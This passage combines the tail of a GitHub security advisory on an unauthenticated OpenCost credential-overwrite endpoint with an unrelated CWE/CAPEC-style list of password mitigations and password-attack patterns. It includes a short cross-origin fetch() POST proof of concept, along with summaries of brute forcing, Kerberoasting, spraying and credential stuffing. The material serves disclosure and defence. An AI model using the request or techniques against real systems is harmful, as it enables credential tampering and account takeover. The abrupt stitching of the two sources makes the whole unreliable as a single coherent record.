{\n method: \u0027POST\u0027,\n headers: {\u0027Content-Type\u0027: \u0027application/x-www-form-urlencoded\u0027},\n body: \u0027key={\"type\":\"malicious\"}\u0027\n});\n```\n\n**Impact**:\n- **User-Unaware Attack**: No active user interaction required\n- **Difficult to Trace**: Attack originates from victim\u0027s IP address\n- **Limited Exploitation Conditions**: Requires OpenCost exposed to user-accessible network\n\n---\n\n### Vulnerability Limitations\n\n**What Attacker Cannot Control**:\n- **File Write Path**: Fixed by `CONFIG_PATH` environment variable, attacker cannot modify\n- **File Name**: Fixed as `key.json`, cannot write to other files\n- **File Permissions**: Write permission is `0644`, attacker cannot escalate\n\n**Actual Attack Capabilities**:\n- **File Content Control**: Complete control over `key.json` content\n- **Unauthenticated Exploitation**: No credentials required to trigger\n- **Remote Accessibility**: Can be exploited over network (if service exposed)\n\n---\n\n### Real-World Impact Assessment\n\n| Deployment Scenario | Risk Level | Description |\n|---------------------|-----------|-------------|\n| **Cluster-Internal Only** | Medium | Requires attacker to have cluster network access |\n| **Exposed via Ingress** | High | Any internet user can exploit |\n| **Exposed via NodePort** | High | Attackers with node network access can exploit |\n| **Via port-forward** | Medium-High | Local dev environments vulnerable to CORS attacks |\n\n**Recommended Risk Rating**:\n- Default deployment (cluster-internal): **Medium**\n- Improperly exposed (public internet): **High**\n\n---\n\n## Remediation\n\n### Immediate Actions (P0)\n\n#### 1. Add Authentication\n\n```go\nfunc (a *Accesses) AddServiceKey(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {\n // Add authentication check\n if !a.isAuthorized(r) {\n http.Error(w, \"Unauthorized\", http.StatusUnauthorized)\n return\n }\n\n // ... existing logic\n}\n```\n\n#### 2. Implement Input Validation\n\n```go\nfunc validateServiceKey(key string) error {\n var keyData map[string]interface{}\n if err := json.Unmarshal([]byte(key), \u0026keyData); err != nil {\n return fmt.Errorf(\"invalid JSON format\")\n }\n\n requiredFields := []string{\"type\", \"project_id\", \"private_key_id\", \"private_key\"}\n for _, field := range requiredFields {\n if _, ok := keyData[field]; !ok {\n return fmt.Errorf(\"missing required field: %s\", field)\n }\n }\n\n if keyData[\"type\"] != \"service_account\" {\n return fmt.Errorf(\"invalid key type\")\n }\n\n return nil\n}\n```\n\n#### 3. Restrict CORS\n\n```go\nw.Header().Set(\"Access-Control-Allow-Origin\", os.Getenv(\"ALLOWED_ORIGIN\"))\n```\n\n### Long-term Solutions (P1)\n\n1. **Use Kubernetes Secrets**: Store credentials in Kubernetes Secrets instead of files\n2. **Implement RBAC**: Role-based access control for sensitive operations\n3. **Add Audit Logging**: Log all file write operations\n4. **Apply Least Privilege**: Minimize ClusterRole permissions\n\n---\n\n## Workarounds\n\nUntil a patch is available, implement these mitigations:\n\n1. **Network Segmentation**: Restrict access to OpenCost service using NetworkPolicies\n2. **Disable Endpoint**: Remove or disable the `/serviceKey` endpoint if not required\n3. **Monitor File Changes**: Alert on modifications to `key.json` file\n4. **Use Read-only Filesystem**: Mount config directory as read-only where possible\n\n---\n\n## References\n\n- **Vulnerable Code**: `pkg/costmodel/router.go:365-379`\n- **Environment Configuration**: `core/pkg/env/core.go`\n- **OWASP**: [Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)\n- **CWE-306**: [Missing Authentication for Critical Function](https://cwe.mitre.org/data/definitions/306.html)\n- **CWE-20**: [Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html)",
"id": "GHSA-wmj8-9953-vff5",
"modified": "2026-07-14T17:19:44Z",
"published": "2026-07-14T17:07:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/opencost/opencost/security/advisories/GHSA-wmj8-9953-vff5"
},
{
"type": "PACKAGE",
"url": "https://github.com/opencost/opencost"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenCost ServiceKey Endpoint Unauthorized Credential Overwrite/Injection"
}
Mitigation
- In order to protect password systems from compromise, the following should be noted:
- Passwords should be stored safely to prevent insider attack and to ensure that -- if a system is compromised -- the passwords are not retrievable. Due to password reuse, this information may be useful in the compromise of other systems these users work with. In order to protect these passwords, they should be stored encrypted, in a non-reversible state, such that the original text password cannot be extracted from the stored value.
- Password aging should be strictly enforced to ensure that passwords do not remain unchanged for long periods of time. The longer a password remains in use, the higher the probability that it has been compromised. For this reason, passwords should require refreshing periodically, and users should be informed of the risk of passwords which remain in use for too long.
- Password strength should be enforced intelligently. Rather than restrict passwords to specific content, or specific length, users should be encouraged to use upper and lower case letters, numbers, and symbols in their passwords. The system should also ensure that no passwords are derived from dictionary words.
Mitigation
Use a zero-knowledge password protocol, such as SRP.
Mitigation
Ensure that passwords are stored safely and are not reversible.
Mitigation
Implement password aging functionality that requires passwords be changed after a certain point.
Mitigation
Use a mechanism for determining the strength of a password and notify the user of weak password use.
Mitigation
Inform the user of why password protections are in place, how they work to protect data integrity, and why it is important to heed their warnings.
CAPEC-16: Dictionary-based Password Attack
An attacker tries each of the words in a dictionary as passwords to gain access to the system via some user's account. If the password chosen by the user was a word within the dictionary, this attack will be successful (in the absence of other mitigations). This is a specific instance of the password brute forcing attack pattern.
Dictionary Attacks differ from similar attacks such as Password Spraying (CAPEC-565) and Credential Stuffing (CAPEC-600), since they leverage unknown username/password combinations and don't care about inducing account lockouts.
CAPEC-49: Password Brute Forcing
An adversary tries every possible value for a password until they succeed. A brute force attack, if feasible computationally, will always be successful because it will essentially go through all possible passwords given the alphabet used (lower case letters, upper case letters, numbers, symbols, etc.) and the maximum length of the password.
CAPEC-509: Kerberoasting
Through the exploitation of how service accounts leverage Kerberos authentication with Service Principal Names (SPNs), the adversary obtains and subsequently cracks the hashed credentials of a service account target to exploit its privileges. The Kerberos authentication protocol centers around a ticketing system which is used to request/grant access to services and to then access the requested services. As an authenticated user, the adversary may request Active Directory and obtain a service ticket with portions encrypted via RC4 with the private key of the authenticated account. By extracting the local ticket and saving it disk, the adversary can brute force the hashed value to reveal the target account credentials.
CAPEC-55: Rainbow Table Password Cracking
An attacker gets access to the database table where hashes of passwords are stored. They then use a rainbow table of pre-computed hash chains to attempt to look up the original password. Once the original password corresponding to the hash is obtained, the attacker uses the original password to gain access to the system.
CAPEC-555: Remote Services with Stolen Credentials
This pattern of attack involves an adversary that uses stolen credentials to leverage remote services such as RDP, telnet, SSH, and VNC to log into a system. Once access is gained, any number of malicious activities could be performed.
CAPEC-560: Use of Known Domain Credentials
An adversary guesses or obtains (i.e. steals or purchases) legitimate credentials (e.g. userID/password) to achieve authentication and to perform authorized actions under the guise of an authenticated user or service.
CAPEC-561: Windows Admin Shares with Stolen Credentials
An adversary guesses or obtains (i.e. steals or purchases) legitimate Windows administrator credentials (e.g. userID/password) to access Windows Admin Shares on a local machine or within a Windows domain.
CAPEC-565: Password Spraying
In a Password Spraying attack, an adversary tries a small list (e.g. 3-5) of common or expected passwords, often matching the target's complexity policy, against a known list of user accounts to gain valid credentials. The adversary tries a particular password for each user account, before moving onto the next password in the list. This approach assists the adversary in remaining undetected by avoiding rapid or frequent account lockouts. The adversary may then reattempt the process with additional passwords, once enough time has passed to prevent inducing a lockout.
CAPEC-600: Credential Stuffing
An adversary tries known username/password combinations against different systems, applications, or services to gain additional authenticated access. Credential Stuffing attacks rely upon the fact that many users leverage the same username/password combination for multiple systems, applications, and services.
CAPEC-652: Use of Known Kerberos Credentials
An adversary obtains (i.e. steals or purchases) legitimate Kerberos credentials (e.g. Kerberos service account userID/password or Kerberos Tickets) with the goal of achieving authenticated access to additional systems, applications, or services within the domain.
CAPEC-653: Use of Known Operating System Credentials
An adversary guesses or obtains (i.e. steals or purchases) legitimate operating system credentials (e.g. userID/password) to achieve authentication and to perform authorized actions on the system, under the guise of an authenticated user or service. This applies to any Operating System.
CAPEC-70: Try Common or Default Usernames and Passwords
An adversary may try certain common or default usernames and passwords to gain access into the system and perform unauthorized actions. An adversary may try an intelligent brute force using empty passwords, known vendor default credentials, as well as a dictionary of common usernames and passwords. Many vendor products come preconfigured with default (and thus well-known) usernames and passwords that should be deleted prior to usage in a production environment. It is a common mistake to forget to remove these default login credentials. Another problem is that users would pick very simple (common) passwords (e.g. "secret" or "password") that make it easier for the attacker to gain access to the system compared to using a brute force attack or even a dictionary attack using a full dictionary.